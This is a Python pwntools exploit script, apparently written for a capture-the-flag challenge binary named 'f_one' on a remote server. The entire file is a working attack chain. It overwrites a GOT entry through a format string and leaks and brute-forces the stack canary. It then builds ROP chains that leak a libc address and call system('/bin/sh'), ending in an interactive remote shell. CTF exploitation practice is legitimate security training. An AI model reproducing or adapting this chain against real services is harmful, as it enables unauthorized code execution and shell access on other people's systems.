#!/usr/bin/env python3


from pwn import * 
import re
import time
import binascii


context.arch = 'amd64'
context.binary = './f_one'
e = ELF('./f_one')
libc = ELF("libc-2.27.so")
remote_handle = remote("142.93.228.122",1111)
got_overwrite = "AAAAA"
got_overwrite += "%105p" * 15 + "%242p"  + "%hn"
got_overwrite+= "\xa0\x0b\x60\x00\x00\x00\x00\x00"
server_data = remote_handle.recvline()
remote_handle.sendline(got_overwrite)
leak_canary = " %p " * 12 + "| %p |" + "\x00\x00"
sever_data = remote_handle.recvline()
remote_handle.sendline(leak_canary)
server_data = remote_handle.recvline().decode('utf-8')
a = re.findall("^|\S+|$",server_data)[14]
int_val_canary = int(a,16) - 10
log.info("Single byte overwrite Canary found !!" + a)
log.info("Canary rounded to 00 at the end,now the value is " + hex(int_val_canary))
log.info("Bruteforcing the last before previous byte ")
rop = ROP(e)
gadget = rop.find_gadget(['pop rdi','ret'])[0]
count = 0
canary_hex = 0
while(count < 0x100):
    if(count == 10):
        count+=1
        continue
    canary_hex = int_val_canary + count * 256
    canary_guesser = b"A" * 56 + p64(canary_hex) + b"A" * 8
    canary_guesser+=p64(gadget)
    canary_guesser+=p64(e.got['puts'])
    canary_guesser+=p64(e.plt['puts'])
    canary_guesser+=p64(e.symbols['main'])
    remote_handle.sendline(canary_guesser)
    time.sleep(0.1)
    server_data = remote_handle.recvline()
    if(b'give me' not in server_data):
        log.info("Canary found!!!The value of canary is " + hex(canary_hex))
        break
    count+=1
server_data = remote_handle.recvline()
libc_leak = b" " * 56 + p64(canary_hex) + b"A" * 8 + p64(gadget) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(e.symbols['main'])
remote_handle.sendline(libc_leak)
server_data = remote_handle.recvline()
hex_server_data = binascii.hexlify(server_data)
server_data = remote_handle.recvline()
filter_left_input = b'20' * 56
hex_server_data = hex_server_data.lstrip(filter_left_input)
cleanedup_leak = hex_server_data.rstrip(b"0a")
cleanedup_leak = cleanedup_leak[::-1]
leak_length = len(cleanedup_leak) - 1
i = 0
leak_addr = "0x0000"
while(i < leak_length):
    a = str(cleanedup_leak[i+1])
    b = str(cleanedup_leak[i])
    leak_addr+=chr(int(a)) + chr(int(b))
    i+=2
log.info("The leaked libc address is " + leak_addr)
int_leak_val = int(leak_addr,16)
libc_base = int_leak_val - libc.symbols['puts']
libc.address = libc_base
log.info("The libc base address is" + hex(libc_base))
bin_sh = libc_base + 1786106
log.info("The location of /bin/sh is " + hex(bin_sh) + " and the location of system function address is " + hex(libc.symbols['system']))
log.info("Exploit fired against the CTF server!!Time to get the flag")
gadget2=rop.find_gadget(['ret'])[0]
final_sh = b"A" * 56 + p64(canary_hex) + b"A" * 8
final_sh+=p64(gadget2)
final_sh+=p64(gadget)
final_sh+=p64(bin_sh)
final_sh+=p64(libc.symbols['system'])
final_sh+=p64(libc.symbols['exit'])
remote_handle.sendline(final_sh)
remote_handle.interactive()
remote_handle.close()
